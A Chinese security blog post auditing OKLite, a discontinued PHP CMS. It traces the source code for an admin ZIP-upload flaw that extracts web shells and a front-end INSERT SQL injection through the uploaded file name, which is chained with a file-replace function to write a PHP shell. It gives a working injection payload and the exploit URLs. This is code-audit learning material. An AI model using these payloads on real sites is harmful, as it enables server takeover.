October 7th 2019, 12:00:00 pm
OKLite介绍 OKLite是一套极简企业站系统,主要目标群体是展示型企业网站用户,让传统小企业快速布署网站,加强自身品牌意识,实现对公司形象的宣传。本系统最初是PHPOK程序精简而来。在同等配置下,OKLite速度优于PHPOK达30%以上。 (此版本在2018年已停止维护)
系统链接:https://www.phpok.com/oklite.html
基本情况 路由 网站有三个入口(前端,接口,后台),都是通过action()
方法进行初始化。
不同的入口传入指定的方法中执行动作:
访问:http://127.0.0.1/admin.php?c=upload&f=save
会调用framework\admin\upload_control.php
中的save_f
方法。
过滤 获取GET, POST和COOKIE数据都是通过一个get()
方法进行过滤处理:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 final public function get ($id ,$type ="safe" ,$ext ="" ) { $val = isset ($_POST [$id ]) ? $_POST [$id ] : (isset ($_GET [$id ]) ? $_GET [$id ] : (isset ($_COOKIE [$id ]) ? $_COOKIE [$id ] : '' )); if ($val == '' ){ if ($type == 'int' || $type == 'intval' || $type == 'float' || $type == 'floatval' ){ return 0 ; }else { return '' ; } } $addslashes = false ; if (function_exists("get_magic_quotes_gpc" ) && get_magic_quotes_gpc()){ $addslashes = true ; } if (!$addslashes ){ $val = $this ->_addslashes($val ); } return $this ->format($val ,$type ,$ext ); } private function _addslashes ($val ) { if (is_array($val )){ foreach ($val AS $key =>$value ){ $val [$key ] = $this ->_addslashes($value ); } }else { $val = addslashes($val ); } return $val ; }
除了对每个内容都进行了addslashes()
处理,get()
方法最后还会调用$this->format()
。对\ ' " < >
都进行了实体化。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 final public function format ($msg ,$type ="safe" ,$ext ="" ) { if ($msg == "" ){ return '' ; } if (is_array($msg )){ foreach ($msg AS $key =>$value ){ if (!is_numeric($key )){ $key2 = $this ->format($key ); if ($key2 == '' || in_array($key2 ,array ('#' ,'&' ,'%' ))){ unset ($msg [$key ]); continue ; } } $msg [$key ] = $this ->format($value ,$type ,$ext ); } if ($msg && count($msg )>0 ){ return $msg ; } return false ; } if ($type == 'html_js' || ($type == 'html' && $ext )){ $msg = stripslashes($msg ); if ($this ->app_id != 'admin' ){ $msg = $this ->lib('string' )->xss_clean($msg ); } $msg = $this ->lib('string' )->clear_url($msg ,$this ->url); return addslashes($msg ); } $msg = stripslashes($msg ); switch ($type ){ case 'safe' :$msg = str_replace(array ("\\" ,"'" ,'"' ,"<" ,">" ),array ("\" ,"'" ,""" ,"<" ,">" ),$msg );break ; } if ($msg ){ $msg = addslashes($msg ); } return $msg ; }
基本上,使用get()
获取数据的点,都很难进行利用了。
任意文件上传漏洞导致getshell(后台) module_control.php 漏洞验证 在模块管理管理处导入模块,这里只能上传zip文件。把恶意文件放在zip压缩包中上传:
(我这里是包含了一个shell.php,内容是phpinfo)
上传后又访问了另一个地址:
上传之后就可以在data\cache
看到shell.php被解压出来了。
漏洞分析 根据上传时的地址可以找到处理上传的文件地址与具体的一个方法:
http://localhost/admin.php?c=upload&f=zip&PHPSESSION=s07fke8ifd03o50tqopdhjaof2&id=WU_FILE_0&name=zip.zip&type=application%2Fx-zip-compressed&lastModifiedDate=2019%2F10%2F4+%E4%B8%8B%E5%8D%8811%3A21%3A31&size=299
漏洞存在文件:framework\admin\upload_control.php
接受zip包的方法:
1 2 3 4 5 6 7 8 public function zip_f ( ) { $rs = $this ->lib('upload' )->zipfile('upfile' ); if ($rs ['status' ] != 'ok' ){ $this ->json($rs ['error' ]); } $this ->json($rs ['filename' ],true ); }
这里调用了zipfile
方法,继续跟踪到framework\libs\upload.php
中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 public function zipfile ($input ,$folder ='' ) { if (!$input ){ return array ('status' =>'error' ,'content' =>P_Lang('未指定表单名称' )); } if (!$folder ){ $folder = 'data/cache/' ; } $this ->cateid = 0 ; $this ->set_dir($folder ); $this ->set_type('zip' ); $this ->cate = array ('id' =>0 ,'filemax' =>104857600 ,'root' =>$folder ,'folder' =>'/' ,'filetypes' =>'zip' ); if (isset ($_FILES [$input ])){ $rs = $this ->_upload($input ); }else { $rs = $this ->_save($input ); } if ($rs ['status' ] != 'ok' ){ return $rs ; } $rs ['cate' ] = $this ->cate; return $rs ; }
可以看到,默认放置的位置是data/cache/
中。
$_FILES['upload']
就是上传的zip文件流,接着就会调用_upload()
方法:
_upload()
是一个写入文件的方法,片段太长就不放了。可以知道的是写入zip文件的方法中没有对zip中是否存在恶意代码进行检测的。
接着来看上传后访问的另一个地址:
http://localhost/admin.php?c=module&f=import&zipfile=data/cache/6b28519d80b080f3.zip&_noCache=0.5889889215501739&_=1570204017508
由地址可知,文件地址:framework\admin\module_control.php
,方法名:import_r
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 public function import_f ( ) { $zipfile = $this ->get('zipfile' ); if (!$zipfile ){ $this ->lib('form' )->cssjs(array ('form_type' =>'upload' )); $this ->addjs('js/webuploader/admin.upload.js' ); $this ->view('module_import' ); } if (strpos($zipfile ,'..' ) !== false ){ $this ->json(P_Lang('不支持带..上级路径' )); } if (!file_exists($this ->dir_root.$zipfile )){ $this ->json(P_Lang('ZIP文件不存在' )); } $this ->lib('phpzip' )->unzip($this ->dir_root.$zipfile ,$this ->dir_root.'data/cache/' ); if (!file_exists($this ->dir_root.'data/cache/module.xml' )){ $this ->json(P_Lang('导入模块失败,请检查解压缩是否成功' )); } $rs = $info = $this ->lib('xml' )->read($this ->dir_root.'data/cache/module.xml' ,true ); if (!$rs ){ $this ->json(P_Lang('XML内容解析异常' )); } $tmp = $rs ; if (isset ($tmp ['_fields' ])){ unset ($tmp ['_fields' ]); } $insert_id = $this ->model('module' )->save($tmp ); if (!$insert_id ){ $this ->json(P_Lang('模块导入失败,保存模块基本信息错误' )); } $this ->model('module' )->create_tbl($insert_id ); $tbl_exists = $this ->model('module' )->chk_tbl_exists($insert_id ); if (!$tbl_exists ){ $this ->model('module' )->delete($insert_id ); $this ->json(P_Lang('创建模块表失败' )); } if (isset ($rs ['_fields' ]) && $rs ['_fields' ]){ foreach ($rs ['_fields' ] as $key =>$value ){ if ($value ['ext' ] && is_array($value ['ext' ])){ $value ['ext' ] = serialize($value ['ext' ]); } $value ['module_id' ] = $insert_id ; $this ->model('module' )->fields_save($value ); $this ->model('module' )->create_fields($insert_id ,$value ); } } $this ->lib('file' )->rm($this ->dir_root.'data/cache/module.xml' ); $this ->lib('file' )->rm($this ->dir_root.$zipfile ); $this ->json(true ); }
这里使用$this->get('zipfile')
获取刚刚上传的zip文件名,使用$this->lib('phpzip')->unzip
进行解压。 继续跟踪:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 public function unzip ($file ,$to ='' ) { if (class_exists('ZipArchive' )){ $zip = new ZipArchive; $zip ->open($file ); $zip ->extractTo($to ); $zip ->close(); return true ; } if (function_exists('zip_open' ) && function_exists('zip_close' )){ $zip = zip_open($file ); if ($zip ){ while ($zip_entry = zip_read($zip )) { $file = basename(zip_entry_name($zip_entry )); $fp = fopen($to .basename($file ), "w+" ); if (zip_entry_open($zip , $zip_entry , "r" )) { $buf = zip_entry_read($zip_entry , zip_entry_filesize($zip_entry )); zip_entry_close($zip_entry ); } fwrite($fp , $buf ); fclose($fp ); } zip_close($zip ); return true ; } } return $this ->Extract($file ,$to ); }
可见也没有对其中的文件进行检测,直接就将其解压并写入了。
除了项目管理之外,还有project_module.php也同样存在这个漏洞。漏洞原因也是一样的。
plugin_control.php 漏洞验证 和前一个module_control有所不同的是,这里的zip文件夹必须是包含一个文件夹,文件夹中再包含恶意文件。
插件中心:
验证方式同前一个,就不重复了。
上传完成之后会访问另一个地址:
http://localhost/admin.php?c=plugin&f=unzip&id=1196&_noCache=0.08112707662168439&_=1570257969464
漏洞分析 framework\admin\plugin_control.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public function unzip_f ( ) { $id = $this ->get('id' ,'int' ); $rs = $this ->model('res' )->get_one($id ); if (!$rs ){ $this ->json(P_Lang('附件不存在' )); } if ($rs ['ext' ] != 'zip' ){ $this ->json(P_Lang('非ZIP文件不支持在线解压' )); } if (!file_exists($this ->dir_root.$rs ['filename' ])){ $this ->json(P_Lang('文件不存在' )); } $info = $this ->lib('phpzip' )->zip_info($this ->dir_root.$rs ['filename' ]); $info = current($info ); if (!$info ['filename' ]){ $this ->json(P_Lang('插件有异常' )); } $info = explode('/' ,$info ['filename' ]); if (!$info [0 ]){ $this ->json(P_Lang('插件有异常' )); } if (file_exists($this ->dir_root.'plugins/' .$info [0 ])){ $this ->json(P_Lang('插件已存在,不允许重复解压' )); } if (!$info [1 ]){ $this ->json(P_Lang('插件打包模式有问题' )); } $this ->lib('phpzip' )->unzip($this ->dir_root.$rs ['filename' ],$this ->dir_root.'plugins/' ); $this ->json(true ); }
在使用get_one获取了文件信息之后,传入到了$this->lib('phpzip')->zip_info();
中获取zip的信息传递给$info变量。
zip_info()
会返回一个数组,成员1为压缩包中的第一个文件夹名称,成员2为文件夹中的第一个文件。
如果格式不是一个文件夹包含一个文件的话,if(!$info[1])
这里就会报插件打包模式有问题
的错误。
格式通过了之后就是直接解压了。
最后保存的目录为:WWW\plugins
SQL注入导致getshell(前台) 这个漏洞在2017年在PHPOK当中就被畅师傅就被发现了。PHPOK系统被修复了,但是在OKLite当中还存在。
漏洞验证 地址:http://localhost/index.php?id=message
在线留言处上传一个图片并抓包,把文件名修改为:
1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1',0x7265732f3230313931302f30342f,'shell.jpg','jpg',0x7265732f3230313931302f30352f7368656c6c2e706870,'1570161575','abc
上传成功之后会返回图片的id和保存的路径:
再次上传一个图片,把地址中的save改成replace,添加一个参数名为oldid
,值为图片的id + 1。
图片的内容改为恶意的php代码:
上传完成之后可在res\201910\05
目录下生成一个shell.php
漏洞分析 文件地址为:framework\www\upload_control.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public function save_f ( ) { if (!$this ->site['upload_guest' ]){ $this ->json(P_Lang('系统已禁止游客上传,请联系管理员' )); } $cateid = $this ->get('cateid' ,'int' ); $rs = $this ->upload_base('upfile' ,$cateid ); if (!$rs || $rs ['status' ] != 'ok' ){ $this ->json($rs ['error' ]); } unset ($rs ['status' ]); $rs ['uploadtime' ] = date("Y-m-d H:i:s" ,$rs ['addtime' ]); $this ->json($rs ,true ); }
这里调用了$this->upload_base('upfile',$cateid);
进行文件上传
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 private function upload_base ($input_name ='upfile' ,$cateid =0 ) { $rs = $this ->lib('upload' )->getfile($input_name ,$cateid ); if ($rs ["status" ] != "ok" ){ return $rs ; } $array = array (); $array ["cate_id" ] = $rs ['cate' ]['id' ]; $array ["folder" ] = $rs ['folder' ]; $array ["name" ] = basename($rs ['filename' ]); $array ["ext" ] = $rs ['ext' ]; $array ["filename" ] = $rs ['filename' ]; $array ["addtime" ] = $this ->time; $array ["title" ] = $rs ['title' ]; $array ['session_id' ] = $this ->session->sessid(); $arraylist = array ("jpg" ,"gif" ,"png" ,"jpeg" ); if (in_array($rs ["ext" ],$arraylist )){ $img_ext = getimagesize($this ->dir_root.$rs ['filename' ]); $my_ext = array ("width" =>$img_ext [0 ],"height" =>$img_ext [1 ]); $array ["attr" ] = serialize($my_ext ); } $id = $this ->model('res' )->save($array ); if (!$id ){ $this ->lib('file' )->rm($this ->dir_root.$rs ['filename' ]); return array ('status' =>'error' ,'error' =>P_Lang('图片存储失败' )); } $this ->model('res' )->gd_update($id ); $rs = $this ->model('res' )->get_one($id ); $rs ["status" ] = "ok" ; return $rs ; }
在upload_base当中,使用$this->lib('upload')->getfile($input_name,$cateid);
获取上传的文件。
framework\libs\upload.php中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public function getfile ($input ='upfile' ,$cateid =0 ) { if (!$input ){ return array ('status' =>'error' ,'content' =>P_Lang('未指定表单名称' )); } $this ->_cate($cateid ); if (isset ($_FILES [$input ])){ $rs = $this ->_upload($input ); }else { $rs = $this ->_save($input ); } if ($rs ['status' ] != 'ok' ){ return $rs ; } $rs ['cate' ] = $this ->cate; return $rs ; }
getfile()首先调用了$this->_cate($cateid);
获取cateid为1的文件分类预设,内容包括保存的地址,文件夹名称和文件类型。在数据库中:
接着调用了$this->_upload($input)
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 private function _upload ($input ) { $basename = substr(md5(time().uniqid()),9 ,16 ); $chunk = isset ($_REQUEST ["chunk" ]) ? intval($_REQUEST ["chunk" ]) : 0 ; $chunks = isset ($_REQUEST ["chunks" ]) ? intval($_REQUEST ["chunks" ]) : 1 ; $tmpname = $_FILES [$input ]["name" ]; $tmpid = 'u_' .md5($tmpname ); $ext = $this ->file_ext($tmpname ); $out_tmpfile = $this ->dir_root.'data/cache/' .$tmpid .'_' .$chunk ; if (!$out = @fopen($out_tmpfile .".parttmp" , "wb" )) { return array ('status' =>'error' ,'error' =>P_Lang('无法打开输出流' )); } $error_id = $_FILES [$input ]['error' ] ? $_FILES [$input ]['error' ] : 0 ; if ($error_id ){ return array ('status' =>'error' ,'error' =>$this ->up_error[$error_id ]); } if (!is_uploaded_file($_FILES [$input ]['tmp_name' ])){ return array ('status' =>'error' ,'error' =>P_Lang('上传失败,临时文件无法写入' )); } if (!$in = @fopen($_FILES [$input ]["tmp_name" ], "rb" )) { return array ('status' =>'error' ,'error' =>P_Lang('无法打开输入流' )); } while ($buff = fread($in , 4096 )) { fwrite($out , $buff ); } @fclose($out ); @fclose($in ); $GLOBALS ['app' ]->lib('file' )->mv($out_tmpfile .'.parttmp' ,$out_tmpfile .'.part' ); $index = 0 ; $done = true ; for ($index =0 ;$index <$chunks ;$index ++) { if (!file_exists($this ->dir_root.'data/cache/' .$tmpid .'_' .$index .".part" ) ) { $done = false ; break ; } } if (!$done ){ return array ('status' =>'error' ,'error' =>'上传的文件异常' ); } $outfile = $this ->folder.$basename .'.' .$ext ; if (!$out = @fopen($this ->dir_root.$outfile ,"wb" )) { return array ('status' =>'error' ,'error' =>P_Lang('无法打开输出流' )); } if (flock($out ,LOCK_EX)){ for ($index =0 ;$index <$chunks ;$index ++) { if (!$in = @fopen($this ->dir_root.'data/cache/' .$tmpid .'_' .$index .'.part' ,'rb' )){ break ; } while ($buff = fread($in , 4096 )) { fwrite($out , $buff ); } @fclose($in ); $GLOBALS ['app' ]->lib('file' )->rm($this ->dir_root.'data/cache/' .$tmpid ."_" .$index .".part" ); } flock($out ,LOCK_UN); } @fclose($out ); $tmpname = $GLOBALS ['app' ]->lib('string' )->to_utf8($tmpname ); $title = str_replace("." .$ext ,'' ,$tmpname ); return array ('title' =>$title ,'ext' =>$ext ,'filename' =>$outfile ,'folder' =>$this ->folder,'status' =>'ok' ); }
这里使用$ext = $this->file_ext($tmpname);
获取文件的后缀,看下这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 private function file_ext ($tmpname ) { $ext = pathinfo($tmpname ,PATHINFO_EXTENSION); if (!$ext ){ return false ; } $ext = strtolower($ext ); $cate_exts = ($this ->cate && $this ->cate['filetypes' ]) ? explode("," ,$this ->cate['filetypes' ]) : array ('jpg' ,'gif' ,'png' ); if (!in_array($ext ,$cate_exts )){ return false ; } return $ext ; }
这里的文件类型就是getfile()
中调用的$this->_cate($cateid);
获取得到的,这里值为png,jpg,gif,rar,zip
。
由于使用in_array
,无法进行绕过。
接着回看前面,使用了$tmpname = $_FILES[$input]["name"];
获取了文件名。
而$tmpname这个变量没有经过任何的处理,直接到了最后去除后缀名赋值给了$title变量。
$title变量作为数组中title的键值返回。
再回看_upload
,返回的数组中的每个值赋值到$array
当中。
接着调用了 $id = $this->model('res')->save($array);
跟踪过去:
framework\model\res.php:
1 2 3 4 5 6 7 8 9 function save ($data ,$id =0 ) { if (!$data || !is_array($data )) return false ; if ($id ){ return $this ->db->update_array($data ,"res" ,array ("id" =>$id )); }else { return $this ->db->insert_array($data ,"res" ); } }
这里并没有赋值$id变量,进入到$this->db->insert_array($data,"res");
,继续跟踪:
framework\engine\db\mysqli.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public function insert_array ($data ,$tbl ,$type ="insert" ) { if (!$tbl || !$data || !is_array($data )){ return false ; } if (substr($tbl ,0 ,strlen($this ->prefix)) != $this ->prefix){ $tbl = $this ->prefix.$tbl ; } $type = strtolower($type ); $sql = $type == 'insert' ? "INSERT" : "REPLACE" ; $sql .= " INTO " .$tbl ." " ; $sql_fields = array (); $sql_val = array (); foreach ($data AS $key =>$value ){ $sql_fields [] = "`" .$key ."`" ; $sql_val [] = "'" .$value ."'" ; } $sql .= "(" .(implode("," ,$sql_fields )).") VALUES(" .(implode("," ,$sql_val )).")" ; return $this ->insert($sql ); }
一个foreach循环将数组中的键名转换为字段名,键值转为要插入的值。
上传一个文件名叫xiaonan.jpg,最后拼接出来的sql语句为:
INSERT INTO qinggan_res (`cate_id`,`folder`,`name`,`ext`,`filename`,`addtime`,`title`,`session_id`,`attr`) VALUES('1','res/201910/05/','51514bdf089432f0.jpg','jpg','res/201910/04/51514bdf089432f0.jpg','1570161223','xiaonan','pf3qm0js3gb2s5f33r7lf14vl3','a:2:{s:5:"width";i:448;s:6:"height";i:400;}')
因为前面_upload
中的$tmpname
变量没有经过任何的处理,所以这里的xiaonan是可以控制的。这就会导致一个insert注入。
如果sql语句为:
INSERT INTO test (`username`, `password`) VALUES('1', '2'), ('3','4');
则会在test表中插入两行数据,利用这个点。可以向数据库中插入一个文件名都可以由我们控制的数据。
再配合upload_control.php中的replace_f
方法就可以进行getshell。
replace_f(是一个用作替换文件的方法):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 public function replace_f ( ) { if (!$this ->site['upload_guest' ]){ $this ->json(P_Lang('系统已禁止游客上传,请联系管理员' )); } $id = $this ->get("oldid" ,'int' ); if (!$id ) { $this ->json(P_Lang('没有指定要替换的附件' )); } $old_rs = $this ->model('res' )->get_one($id ); if (!$old_rs ){ $this ->json(P_Lang('资源不存在' )); } $rs = $this ->lib('upload' )->upload('upfile' ); if ($rs ["status" ] != "ok" ) { $this ->json(P_Lang('附件上传失败' )); } $arraylist = array ("jpg" ,"gif" ,"png" ,"jpeg" ); $my_ext = array (); if (in_array($rs ["ext" ],$arraylist )) { $img_ext = getimagesize($rs ["filename" ]); $my_ext ["width" ] = $img_ext [0 ]; $my_ext ["height" ] = $img_ext [1 ]; } $this ->lib('file' )->mv($rs ["filename" ],$old_rs ["filename" ]); $tmp = array ("addtime" =>$this ->time); $tmp ["attr" ] = serialize($my_ext ); $this ->model('res' )->save($tmp ,$id ); $this ->model('res' )->gd_update($id ); $rs = $this ->model('res' )->get_one($id ); $this ->json($rs ,true ); }
替换的步骤:
获取了一个参数名为oldid:$id = $this->get("oldid",'int');
使用$this->model('res')->get_one($id);
从数据库当中获取这个文件的信息传递给$old_rs
变量
使用$this->lib('upload')->upload('upfile');
获取新上传的文件信息传递给$rs
变量。
使用$this->lib('file')->mv($rs["filename"],$old_rs["filename"]);
进行文件的替换
来看mv()方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 public function mv ($old ,$new ,$recover =true ) { if (!file_exists($old )){ return false ; } if (substr($new ,-1 ) == "/" ){ $this ->make($new ,"dir" ); }else { $this ->make($new ,"file" ); } if (file_exists($new )){ if ($recover ){ unlink($new ); }else { return false ; } }else { $new = $new .basename($old ); } rename($old ,$new ); return true ; }
从这个方法的定义当中就可以得知,会将新上传的文件名改为指定的id所获取到的文件名。
因为前面的Insert型的sql注入,我们能控制一个文件信息的文件名。
可以构造一个文件名以php结尾插入到数据库当中,当利用replace_f方法上传一个包含恶意php代码的文件时,就会写入一个.php后缀的文件,导致getshell。
文件信息在数据库当中:
于是构造文件名为:
1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1','res/201910/05/','shell.jpg','jpg','res/201910/05/shell.php','1570161575','abc
由于文件名无法包含/
,所以把包含/
的部分转换为16进制(前面加0x):
1','pf3qm0js3gb2s5f33r7lf14vl3','30'),('1',0x7265732f3230313931302f30352f,'shell.jpg','jpg', 0x7265732f3230313931302f30352f7368656c6c2e706870,'1570161575','abc
上传后数据库中的文件信息:
由于上传后返回的图片的id是第一个数据,需要把id+1再赋值到replace中的oldid中。
上传时调用Replace_f的地址:
http://localhost/index.php?c=upload&f=replace&oldid=1
将上传的文件内容改为php代码上传即可。
PS:这里除了配合replace_f
之外,修改文件的信息也可导致后台的储存型XSS。
总结 当GET,POST,COOKIE都进行了严格的过滤时,就可以寻找一些不是很常规的输入点进行测试,如这里的zip解压缩,插入数据库的文件名等等。
本想找一个简单的系统进行审计学习的,没想到这个系统过滤有点严格。连直接获取get参数都没几处。花了很多时间,最后找原来的案例才发现,很多漏洞都没有被修复。于是,说好的审计变成复现了?